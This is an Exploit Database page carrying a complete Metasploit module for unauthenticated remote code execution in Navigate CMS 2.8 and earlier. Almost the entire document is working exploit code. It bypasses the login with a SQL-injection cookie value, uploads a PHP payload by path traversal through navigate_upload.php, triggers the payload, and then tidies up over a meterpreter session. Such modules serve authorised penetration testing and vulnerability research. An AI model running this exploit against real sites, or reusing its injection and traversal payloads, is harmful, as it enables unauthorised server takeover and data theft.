Navigate CMS – (Unauthenticated) Remote Code Execution (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2018-10-08
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45561/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Navigate CMS Unauthenticated Remote Code Execution',
  'Description' => %q(
  This module exploits insufficient sanitization in the database::protect
  method, of Navigate CMS versions 2.8 and prior, to bypass authentication.
  
  The module then uses a path traversal vulnerability in navigate_upload.php
  that allows authenticated users to upload PHP files to arbitrary locations.
  Together these vulnerabilities allow an unauthenticated attacker to
  execute arbitrary PHP code remotely.
  
  This module was tested against Navigate CMS 2.8.
  ),
  'Author' =>
  [
  'Pyriphlegethon' # Discovery / msf module
  ],
  'License' => MSF_LICENSE,
  'References' =>
  [
  ['CVE', '2018-17552'], # Authentication bypass
  ['CVE', '2018-17553']# File upload
  ],
  'Privileged' => false,
  'Platform' => ['php'],
  'Arch' => ARCH_PHP,
  'Targets' =>
  [
  ['Automatic', {}]
  ],
  'DefaultTarget' => 0,
  'DisclosureDate' => 'Sep 26 2018'))
  
  register_options [
  OptString.new('TARGETURI', [true, 'Base Navigate CMS directory path', '/navigate/']),
  ]
  end
  
  def login_bypass
  check_resp = send_request_cgi(
  'method' => 'GET',
  'uri' => normalize_uri(target_uri.path, '/login.php')
  )
  
  login_bypass_resp = send_request_cgi(
  'method' => 'POST',
  'uri' => normalize_uri(target_uri.path, '/login.php'),
  'cookie' => 'navigate-user=\" OR TRUE--%20'
  )
  
  if login_bypass_resp &&
   login_bypass_resp.code == 302 &&
   check_resp.body.include?('Navigate CMS')
  session_id = login_bypass_resp.get_cookies_parsed
  .values.select { |v| v.to_s.include?('NVSID_') }
  .first.first
  return session_id
  end
  end
  
  def check
  return CheckCode::Vulnerable if login_bypass
  CheckCode::Safe
  end
  
  def exploit
  session_id = login_bypass
  fail_with(Failure::NoAccess, 'Login bypass failed') unless session_id
  
  print_good('Login bypass successful')
  
  php = payload.encoded
  data = Rex::MIME::Message.new
  data.add_part(php, 'image/jpeg', nil,
  "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(10..15)}\"")
  data_post = data.to_s
  
  upload = send_request_cgi(
  'method' => 'POST',
  'uri' => normalize_uri(target_uri.path, '/navigate_upload.php'),
  'vars_get' => Hash[{
  'session_id' => session_id,
  'engine' => 'picnik',
  'id' => '../../../navigate_info.php'
  }.to_a.shuffle],
  'ctype' => "multipart/form-data; boundary=#{data.bound}",
  'data' => data_post
  )
  
  fail_with(Failure::Unreachable, 'Unable to reach target') unless upload
  fail_with(Failure::Unknown, 'Upload unsuccessful') unless upload.code == 200
  
  print_good('Upload successful')
  
  print_status('Triggering payload...')
  send_request_cgi(
  'method' => 'GET',
  'uri' => normalize_uri(target_uri.path, '/navigate_info.php')
  )
  end
  
  def on_new_session(session)
  super
  if session.type != 'meterpreter'
  print_error('Unable to restore navigate_info.php')
  return
  end
  
  session.core.use('stdapi') if !session.ext.aliases.include?('stdapi')
  
  begin
  session.fs.file.open('navigate_info.php', 'w').write("<?php\n\nphpinfo();\n\n?>")
  rescue
  print_error('Unable to restore navigate_info.php')
  end
  end
  end